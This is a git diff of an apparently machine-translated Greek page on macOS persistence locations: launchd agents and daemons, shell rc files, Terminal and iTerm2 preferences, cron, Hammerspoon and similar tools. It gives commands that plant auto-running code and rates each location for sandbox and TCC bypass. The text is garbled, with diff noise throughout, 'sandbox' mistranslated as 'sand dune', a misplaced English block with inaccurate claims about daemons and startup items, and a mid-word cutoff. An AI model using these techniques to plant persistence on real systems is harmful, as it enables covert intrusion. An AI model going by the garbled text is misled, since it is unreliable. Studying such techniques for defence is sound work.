**Η κύρια διαφορά μεταξύ πρακτόρων και δαιμόνων είναι ότι οι πράκτορες φορτώνονται όταν ο χρήστης συνδέεται και οι δαίμονες φορτώνονται κατά την εκκίνηση του συστήματος** (καθώς υπάρχουν υπηρεσίες όπως το ssh που πρέπει να εκτελεστούν πριν οποιοσδήποτε χρήστης έχει πρόσβαση στο σύστημα). Επίσης, οι πράκτορες μπορεί να χρησιμοποιούν το γραφικό περιβάλλον, ενώ οι δαίμονες πρέπει να εκτελούνται στο παρασκήνιο.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||
|
@ -80,38 +86,60 @@
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Υπάρχουν περιπτώσεις όπου ένας **πράκτορας πρέπει να εκτελεστεί πριν ο χρήστης συνδεθεί**, αυτοί ονομάζονται **PreLoginAgents**. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή τεχνολογίας υποστήριξης κατά τη σύνδεση. Μπορούν επίσης να βρεθούν στο `/Library/LaunchAgents` (δείτε [**εδώ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ένα παράδειγμα).
|
||||
Υπάρχουν περιπτώσεις όπου ένα **agent πρέπει να εκτελεστεί πριν ο χρήστης συνδεθεί**, αυτά ονομάζονται **PreLoginAgents**. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή τεχνολογίας υποστήριξης κατά τη σύνδεση. Μπορούν επίσης να βρεθούν στο `/Library/LaunchAgents` (δείτε [**εδώ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ένα παράδειγμα).
|
||||
|
||||
{% hint style="info" %}
|
||||
Τα νέα αρχεία ρύθμισης Δαίμονων ή Πρακτόρων θα φορτωθούν μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας την εντολή `launchctl load <target.plist>`. Είναι **επίσης δυνατό να φορτωθούν αρχεία .plist χωρίς αυτήν την επέκταση** με την εντολή `launchctl -F <file>` (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση).\
|
||||
Είναι επίσης δυνατό να **απενεργοποιηθεί** με την εντολή `launchctl unload <target.plist>` (η διαδικασία που αναφέρεται θα τερματιστεί).
|
||||
Τα νέα αρχεία ρύθμισης Δαίμονων ή Agents θα φορτωθούν **μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας** `launchctl load <target.plist>` Είναι **επίσης δυνατό να φορτώσετε αρχεία .plist χωρίς αυτήν την επέκταση** με την εντολή `launchctl -F <file>` (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση).\
|
||||
Είναι επίσης δυνατό να **απενεργοποιήσετε** με την εντολή `launchctl unload <target.plist>` (η διαδικασία που αναφέρεται θα τερματιστεί),
|
||||
|
||||
Για να **διασφαλίσετε** ότι δεν υπάρχει **τίποτα** (όπως μια παράκαμψη) **που εμποδίζει έναν** **Πράκτορα** ή **Δαίμονα** **από το να εκτελεστεί**, εκτελέστε: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
Για να **διασφαλίσετε** ότι δεν υπάρχει **τίποτα** (όπως μια παράκαμψη) **που εμποδίζει έναν** **Agent** ή **Daemon** **από το να** **εκτελεστεί** εκτελέστε: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Καταγράψτε όλους τους πράκτορες και δαίμονες που έχουν φορτωθεί από τον τρέχοντα χρήστη:
|
||||
Καταγράψτε όλους τους agents και daemons που έχουν φορτωθεί από τον τρέχοντα χρήστη:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Αν ένα plist ανήκει σε έναν χρήστη, ακόμα κι αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελείται ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει ορισμένες επιθέσεις εξάρτησης δικαιωμάτων.
|
||||
Αν ένα αρχείο plist ανήκει σε έναν χρήστη, ακόμα κι αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελεστεί ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει ορισμένες επιθέσεις εξάρτησης δικαιωμάτων.
|
||||
{% endhint %}
|
||||
|
||||
#### Περισσότερες πληροφορίες σχετικά με το launchd
|
||||
|
||||
Το **`launchd`** είναι η **πρώτη** διεργασία λειτουργίας χρήστη που ξεκινά από τον **πυρήνα**. Η εκκίνηση της διαδικασίας πρέπει να είναι **επιτυχής** και δεν μπορεί να τερματιστεί ή να καταρρεύσει. Είναι ακόμα **προστατευμένο** από ορισμένα **σήματα τερματισμού**.
|
||||
|
||||
Ένα από τα πρώτα πράγματα που θα κάνει το `launchd` είναι να **ξεκινήσει** όλα τα **daemons** όπως:
|
||||
|
||||
* **Δαίμονες χρονοδιακόπτη** βασισμένοι στον χρόνο που πρέπει να εκτελεστούν:
|
||||
* atd (`com.apple.atrun.plist`): Έχει `StartInterval` 30 λεπτά
|
||||
* crond (`com.apple.systemstats.daily.plist`): Έχει `StartCalendarInterval` για εκκίνηση στις 00:15
|
||||
* **Δίκτυο δαίμονες** όπως:
|
||||
* `org.cups.cups-lpd`: Ακούει στο TCP (`SockType: stream`) με `SockServiceName: printer`
|
||||
* Το `SockServiceName` πρέπει να είναι είτε ένας θύρα ή ένας υπηρεσία από το `/etc/services`
|
||||
* `com.apple.xscertd.plist`: Ακούει στο TCP στη θύρα 1640
|
||||
* **Δαίμονες μονοπατιού** που εκτελούνται όταν αλλάζει ένα συγκεκριμένο μονοπάτι:
|
||||
* `com.apple.postfix.master`: Έλεγχος του μονοπατιού `/etc/postfix/aliases`
|
||||
* **Δαίμονες ειδοποιήσεων IOKit**:
|
||||
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
|
||||
* **Mach port:**
|
||||
* `com.apple.xscertd-helper.plist`: Υποδεικνύει στην είσοδο `MachServices` το όνομα `com.apple.xscertd.helper`
|
||||
* **UserEventAgent:**
|
||||
* Αυτό είναι διαφορετικό από το προηγούμενο. Κάνει το launchd να εκκινεί εφαρμογές ανάλογα με συγκεκριμένο γεγονός. Ωστόσο, σε αυτήν την περίπτωση, το κύριο δυαδικό που εμπλέκεται δεν είναι το `launchd` αλλά το `/usr/libexec/UserEventAgent`. Φορτώνει πρόσθετα από τον φάκελο περιορισμένου από το SIP `/System/Library/UserEventPlugins/` όπου κάθε πρόσθετο υποδεικνύει τον αρχικοποιητή του στο κλειδί `XPCEventModuleInitializer` ή, στην περίπτωση παλαιότερων προσθέτων, στο λεξικό `CFPluginFactories` υπό το κλειδί `FB86416D-6164-2070-726F-70735C216EC0` του `Info.plist`.
|
||||
|
||||
### Αρχεία εκκίνησης κελύφους
|
||||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Ανάλυση (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη της αμμοθολογίας: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήσιμο για παράκαμψη αμμοθοχώρου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά πρέπει να βρείτε μια εφαρμογή με παράκαμψη TCC που εκτελεί ένα κελί που φορτώνει αυτά τα αρχεία
|
||||
* Αλλά πρέπει να βρείτε μια εφαρμογή με παράκαμψη TCC που εκτελεί ένα κέλυφος που φορτώνει αυτά τα αρχεία
|
||||
|
||||
#### Τοποθεσίες
|
||||
|
||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
|
||||
* **Ενεργοποίηση**: Ανοίξτε ένα τερματικό με zsh
|
||||
* **Ενεργοποίηση**: Άνοιγμα ενός τερματικού με zsh
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **Ενεργοποίηση**: Ανοίξτε ένα τερματικό με zsh
|
||||
* **Ενεργοποίηση**: Άνοιγμα ενός τερματικού με zsh
|
||||
* Απαιτείται root
|
||||
* **`~/.zlogout`**
|
||||
* **Ενεργοποίηση**: Έξοδος από ένα τερματικό με zsh
|
||||
|
@ -120,17 +148,17 @@ launchctl list
|
|||
* Απαιτείται root
|
||||
* Πιθανώς περισσότερα στο: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **Ενεργοποίηση**: Ανοίξτε ένα τερματικό με bash
|
||||
* **Ενεργοποίηση**: Άνοιγμα ενός τερματικού με bash
|
||||
* `/etc/profile` (δεν λειτούργησε)
|
||||
* `~/.profile` (δεν λειτούργησε)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Ενεργοποίηση**: Αναμένεται να ενεργοποιηθεί με xterm, αλλά **δεν είναι εγκατεστημένο** και ακόμη και μετά την εγκατάσταση εμφανίζεται αυτό το σφάλμα: xterm: `DISPLAY is not set`
|
||||
* **Ενεργοποίηση**: Αναμένεται να ενεργοποιηθεί με xterm, αλλά **δεν είναι εγκατεστημένο** και ακόμα και μετά την εγκατάσταση εμφανίζεται αυτό το σφάλμα: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Κατά την εκκίνηση ενός περιβάλλοντος κελύφους όπως το `zsh` ή το `bash`, **εκτελούνται ορισμένα αρχεία εκκίνησης**. Η macOS χρησιμοποιεί επί του παρόντος το `/bin/zsh` ως το προεπιλεγμένο κέλυφος. Αυτό το κέλυφος προσπελαύνεται αυτόματα όταν εκκινείται η εφαρμογή Terminal ή όταν ένα συσκευή προσπελαύνεται μέσω SSH. Ενώ τα `bash` και `sh` είναι επίσης παρόντα στη macOS, πρέπει να κληθούν ρητά για να χρησιμοποιηθούν.
|
||||
Κατά την εκκίνηση ενός περιβάλλοντος κελύφους όπως το `zsh` ή το `bash`, **εκτελούνται συγκεκριμένα αρχεία εκκίνησης**. Η macOS χρησιμοποιεί αυτήν τη στιγμή το `/bin/zsh` ως το προεπιλεγμένο κέλυφος. Αυτό το κέλυφος προσπελαύνεται αυτόματα όταν εκκινείται η εφαρμογή Terminal ή όταν ένα συσκευή προσπελαύνεται μέσω SSH. Ενώ τα `bash` και `sh` είναι επίσης παρόντα στη macOS, πρέπει να κληθούν ρητά για να χρησιμοποιηθούν.
|
||||
|
||||
Η σελίδα εγχειριδίου του zsh, την οποία μπορούμε να διαβάσουμε με την εντολή **`man zsh`**, έχει μια μακρά περιγραφή των αρχείων εκκίνησης.
|
||||
Η σελίδα εγχειριδίου του zsh, την οποία μπορούμε να διαβάσουμε με **`man zsh`**, έχει μια μακρά περιγραφή των αρχείων εκκίνησης.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +166,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### Επανεκκινούμενες Εφαρμογές
|
||||
|
||||
{% hint style="danger" %}
|
||||
Η ρύθμιση της ενδεικτικής εκμετάλλευσης και η αποσύνδεση και επανασύνδεση ή ακόμη και η επανεκκίνηση δεν λειτούργησαν για μένα για να εκτελέσω την εφαρμογή. (Η εφαρμογή δεν εκτελούνταν, ίσως χρειάζεται να εκτελείται όταν πραγματοποιούνται αυτές οι ενέργειες)
|
||||
Η ρύθμιση της ενδεικτικής εκμετάλλευσης και η αποσύνδεση και επανασύνδεση ή ακόμη και η επανεκκίνηση δεν λειτούργησαν για μένα για να εκτελέσω την εφαρμογή. (Η εφαρμογή δεν εκτελείτο, ίσως χρειάζεται να εκτελείται όταν πραγματοποιούνται αυτές οι ενέργειες)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -153,11 +181,11 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Όλες οι εφαρμογές που πρόκειται να επανανοιχτούν βρίσκονται μέσα στο plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
Όλες οι εφαρμογές που θα επανανοιχτούν βρίσκονται μέσα στο plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
|
||||
Έτσι, για να κάνετε τις εφαρμογές επανεκκίνησης να εκκινούν τη δική σας, απλά χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**.
|
||||
Έτσι, για να κάνετε τις επανεκκινούμενες εφαρμογές να εκκινούν τη δική σας, απλά χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**.
|
||||
|
||||
Το UUID μπορεί να βρεθεί αναφέροντας αυτό τον κατάλογο ή με την εντολή `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
Το UUID μπορεί να βρεθεί με τη λίστα του φακέλου αυτού ή με την εντολή `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
|
||||
Για να ελέγξετε τις εφαρμογές που θα επανανοιχτούν, μπορείτε να κάνετε:
|
||||
```bash
|
||||
|
@ -175,26 +203,26 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
|
||||
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||
```
|
||||
### Προτιμήσεις Terminal
|
||||
### Προτιμήσεις Τερματικού
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμόλοφου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήσιμο για παράκαμψη της αμμόλοφης: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήση Terminal για άδειες FDA του χρήστη που το χρησιμοποιεί
|
||||
* Χρήση του Τερματικού για την έκδοση δικαιώματων FDA του χρήστη που το χρησιμοποιεί
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **Ενεργοποίηση**: Άνοιγμα Terminal
|
||||
* **Ενεργοποίηση**: Άνοιγμα Τερματικού
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Στο **`~/Library/Preferences`** αποθηκεύονται οι προτιμήσεις του χρήστη στις Εφαρμογές. Κάποιες από αυτές τις προτιμήσεις μπορεί να περιέχουν μια διαμόρφωση για **εκτέλεση άλλων εφαρμογών/σεναρίων**.
|
||||
|
||||
Για παράδειγμα, το Terminal μπορεί να εκτελέσει έναν κώδικα κατά την εκκίνηση:
|
||||
Για παράδειγμα, το Τερματικό μπορεί να εκτελέσει έναν εντολή στην εκκίνηση:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1148).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
Αυτή η ρύθμιση αντανακλάται στο αρχείο **`~/Library/Preferences/com.apple.Terminal.plist`** όπως παρακάτω:
|
||||
Αυτή η ρύθμιση αντανακλάται στο αρχείο **`~/Library/Preferences/com.apple.Terminal.plist`** ως εξής:
|
||||
```bash
|
||||
[...]
|
||||
"Window Settings" => {
|
||||
|
@ -212,7 +240,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
```
|
||||
Έτσι, αν το plist των προτιμήσεων του τερματικού στο σύστημα μπορεί να αντικατασταθεί, τότε η λειτουργία **`open`** μπορεί να χρησιμοποιηθεί για **να ανοίξει το τερματικό και να εκτελεστεί εκείνη η εντολή**.
|
||||
|
||||
Μπορείτε να προσθέσετε αυτό από το cli με:
|
||||
Μπορείτε να το προσθέσετε από το cli με:
|
||||
```bash
|
||||
# Add
|
||||
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
|
||||
|
@ -236,7 +264,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Αν δημιουργήσετε ένα [**`.terminal`** σενάριο](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) και το ανοίξετε, η εφαρμογή **Τερματικό** θα εκτελέσει αυτόματα τις εντολές που υποδηλώνονται εκεί. Αν η εφαρμογή Τερματικού έχει κάποια ειδικά προνόμια (όπως TCC), η εντολή σας θα εκτελεστεί με αυτά τα ειδικά προνόμια.
|
||||
Αν δημιουργήσετε ένα [**`.terminal`** σενάριο](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) και το ανοίξετε, η εφαρμογή **Τερματικό** θα εκτελέσει αυτόματα τις εντολές που υποδεικνύονται εκεί. Αν η εφαρμογή Τερματικού έχει κάποια ειδικά προνόμια (όπως TCC), η εντολή σας θα εκτελεστεί με αυτά τα ειδικά προνόμια.
|
||||
|
||||
Δοκιμάστε το με:
|
||||
```bash
|
||||
|
@ -284,15 +312,15 @@ open /tmp/test.terminal
|
|||
#### Τοποθεσία
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* Απαιτεί δικαιώματα ρίζας
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση του coreaudiod ή του υπολογιστή
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* Απαιτεί δικαιώματα ρίζας
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση του coreaudiod ή του υπολογιστή
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση του coreaudiod ή του υπολογιστή
|
||||
* **`/System/Library/Components`**
|
||||
* Απαιτεί δικαιώματα ρίζας
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση του coreaudiod ή του υπολογιστή
|
||||
|
||||
#### Περιγραφή
|
||||
|
@ -317,9 +345,9 @@ open /tmp/test.terminal
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Τα πρόσθετα QuickLook μπορούν να εκτελεστούν όταν **ενεργοποιείτε την προεπισκόπηση ενός αρχείου** (πατώντας το πλήκτρο διαστήματος με το αρχείο που έχετε επιλέξει στο Finder) και ένα **πρόσθετο που υποστηρίζει αυτόν τον τύπο αρχείου** είναι εγκατεστημένο.
|
||||
Τα πρόσθετα QuickLook μπορούν να εκτελεστούν όταν **ενεργοποιείτε την προεπισκόπηση ενός αρχείου** (πατώντας το πλήκτρο διαστήματος με το αρχείο που έχετε επιλέξει στο Finder) και ένα **πρόσθετο που υποστηρίζει τον τύπο αρχείου** είναι εγκατεστημένο.
|
||||
|
||||
Είναι δυνατόν να συντάξετε το δικό σας πρόσθετο QuickLook, να το τοποθετήσετε σε μία από τις προηγούμενες τοποθεσίες για να το φορτώσετε και στη συνέχεια να μεταβείτε σε ένα υποστηριζόμενο αρχείο και να πατήσετε διαστήματος για να το ενεργοποιήσετε.
|
||||
Είναι δυνατόν να συντάξετε το δικό σας πρόσθετο QuickLook, να το τοποθετήσετε σε μία από τις προηγούμενες τοποθεσίες για να το φορτώσετε και στη συνέχεια να μεταβείτε σε ένα υποστηριζόμενο αρχείο και να πατήσετε το πλήκτρο διαστήματος για να το ενεργοποιήσετε.
|
||||
|
||||
### ~~Συνδέσεις Εισόδου/Εξόδου~~
|
||||
|
||||
|
@ -369,7 +397,7 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
## Παράκαμψη Συνθηκών Αμμοθεράπειας
|
||||
|
||||
{% hint style="success" %}
|
||||
Εδώ μπορείτε να βρείτε τις τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη της αμμοθεράπειας** που σας επιτρέπει να εκτελέσετε κάτι απλά **γράφοντάς το σε ένα αρχείο** και **περιμένοντας μη πολύ συνηθισμένες συνθήκες** όπως συγκεκριμένα **εγκατεστημένα προγράμματα, "ασυνήθιστες" ενέργειες χρήστη** ή περιβάλλοντα.
|
||||
Εδώ μπορείτε να βρείτε τις τοποθεσίες εκκίνησης που είναι χρήσιμες για την **παράκαμψη της αμμοθεράπειας** που σας επιτρέπει να απλά εκτελέσετε κάτι **γράφοντάς το σε ένα αρχείο** και **περιμένοντας μη πολύ συνηθισμένες συνθήκες** όπως συγκεκριμένα **εγκατεστημένα προγράμματα, "ασυνήθιστες" ενέργειες χρήστη** ή περιβάλλοντα.
|
||||
{% endhint %}
|
||||
|
||||
### Χρονοδιάγραμμα (Cron)
|
||||
|
@ -402,7 +430,7 @@ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
|||
```
|
||||
Εκεί μπορείτε να βρείτε τις κανονικές **εργασίες cron**, τις **εργασίες at** (που δε χρησιμοποιούνται πολύ) και τις **περιοδικές εργασίες** (χρησιμοποιούνται κυρίως για τον καθαρισμό προσωρινών αρχείων). Οι καθημερινές περιοδικές εργασίες μπορούν να εκτελεστούν για παράδειγμα με: `periodic daily`.
|
||||
|
||||
Για να προσθέσετε μια **εργασία cron χρήστη προγραμματικά** είναι δυνατόν να χρησιμοποιήσετε:
|
||||
Για να προσθέσετε μια **εργασία cron χρήστη προγραμματιστικά** είναι δυνατόν να χρησιμοποιήσετε:
|
||||
```bash
|
||||
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
||||
crontab /tmp/cron
|
||||
|
@ -411,7 +439,7 @@ crontab /tmp/cron
|
|||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμόλοφου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήσιμο για παράκαμψη αμμοθονίου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Το iTerm2 χρησιμοποιείται για τη χορήγηση δικαιωμάτων TCC
|
||||
|
||||
|
@ -440,32 +468,19 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
|
||||
### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in the following directories:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `~/Library/LaunchAgents/`
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in the following directories:
|
||||
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in the Users & Groups section of System Preferences.
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that are launched at system startup. They are stored in the `/Library/StartupItems/` directory.
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command in the Terminal.
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
```
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
|
@ -489,9 +504,9 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
|
|||
```
|
||||
Οι προτιμήσεις του iTerm2 βρίσκονται στο **`~/Library/Preferences/com.googlecode.iterm2.plist`** μπορεί **να υποδεικνύουν έναν εντολή για εκτέλεση** όταν ανοίγει το τερματικό iTerm2.
|
||||
|
||||
Αυτή η ρύθμιση μπορεί να προσαρμοστεί στις ρυθμίσεις του iTerm2:
|
||||
Αυτή η ρύθμιση μπορεί να ρυθμιστεί στις ρυθμίσεις του iTerm2:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (37).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Και η εντολή αντανακλάται στις προτιμήσεις:
|
||||
```bash
|
||||
|
@ -551,18 +566,18 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
**Ανάλυση**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη της αμμόλοφης: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά πρέπει να είναι εγκατεστημένο το Hammerspoon
|
||||
* Αλλά το Hammerspoon πρέπει να είναι εγκατεστημένο
|
||||
* Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ζητά δικαιώματα προσβασιμότητας
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* **`~/.hammerspoon/init.lua`**
|
||||
* **Ενεργοποίηση**: Μόλις εκτελεστεί το Hammerspoon
|
||||
* **Ενεργοποίηση**: Μόλις εκτελεστεί το hammerspoon
|
||||
|
||||
#### Περιγραφή
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματισμού για το **macOS**, εκμεταλλευόμενο τη γλώσσα σεναρίου **LUA** για τις λειτουργίες του. Είναι σημαντικό να σημειωθεί ότι υποστηρίζει την ολοκλήρωση πλήρους κώδικα AppleScript και την εκτέλεση κελιών εντολών, βελτιώνοντας σημαντικά τις δυνατότητες σεναριογραφίας του.
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματισμού για το **macOS**, εκμεταλλευόμενο τη γλώσσα σεναρίων **LUA** για τις λειτουργίες του. Ειδικότερα, υποστηρίζει την ολοκλήρωση πλήρους κώδικα AppleScript και την εκτέλεση κελιών εντολών, βελτιώνοντας σημαντικά τις δυνατότητες σεναριογραφίας του.
|
||||
|
||||
Η εφαρμογή αναζητά ένα μόνο αρχείο, `~/.hammerspoon/init.lua`, και όταν ξεκινάει, το σενάριο θα εκτελεστεί.
|
||||
```bash
|
||||
|
@ -576,26 +591,46 @@ EOF
|
|||
* Χρήσιμο για παράκαμψη του sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά το BetterTouchTool πρέπει να είναι εγκατεστημένο
|
||||
* TCC παράκαμψη: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ζητά δικαιώματα Automation-Shortcuts και Accessibility
|
||||
* Ζητά δικαιώματα Αυτοματισμού-Συντομεύσεων και Προσβασιμότητας
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
Αυτό το εργαλείο επιτρέπει να υποδείξετε εφαρμογές ή scripts προς εκτέλεση όταν πατιούνται κάποια συντομεύσεις πληκτρολογίου. Ένας επιτιθέμενος μπορεί να διαμορφώσει τη δική του συντόμευση και ενέργεια προς εκτέλεση στη βάση δεδομένων για να εκτελέσει αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε απλά να είναι το πάτημα ενός πλήκτρου).
|
||||
Αυτό το εργαλείο επιτρέπει να υποδείξετε εφαρμογές ή scripts προς εκτέλεση όταν πατιούνται κάποιες συντομεύσεις. Ένας επιτιθέμενος μπορεί να διαμορφώσει τη δική του **συντόμευση και ενέργεια για εκτέλεση στη βάση δεδομένων** για να το κάνει να εκτελεί αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε απλά να είναι το πάτημα ενός πλήκτρου).
|
||||
|
||||
### Alfred
|
||||
|
||||
* Χρήσιμο για παράκαμψη του sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά το Alfred πρέπει να είναι εγκατεστημένο
|
||||
* TCC παράκαμψη: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ζητά δικαιώματα Automation, Accessibility και ακόμα πρόσβαση στον πλήρη δίσκο
|
||||
* Ζητά δικαιώματα Αυτοματισμού, Προσβασιμότητας και ακόμα και πρόσβαση σε ολόκληρο το δίσκο
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* `???`
|
||||
|
||||
Επιτρέπει τη δημιουργία ροών εργασίας που μπορούν να εκτελέσουν κ
|
||||
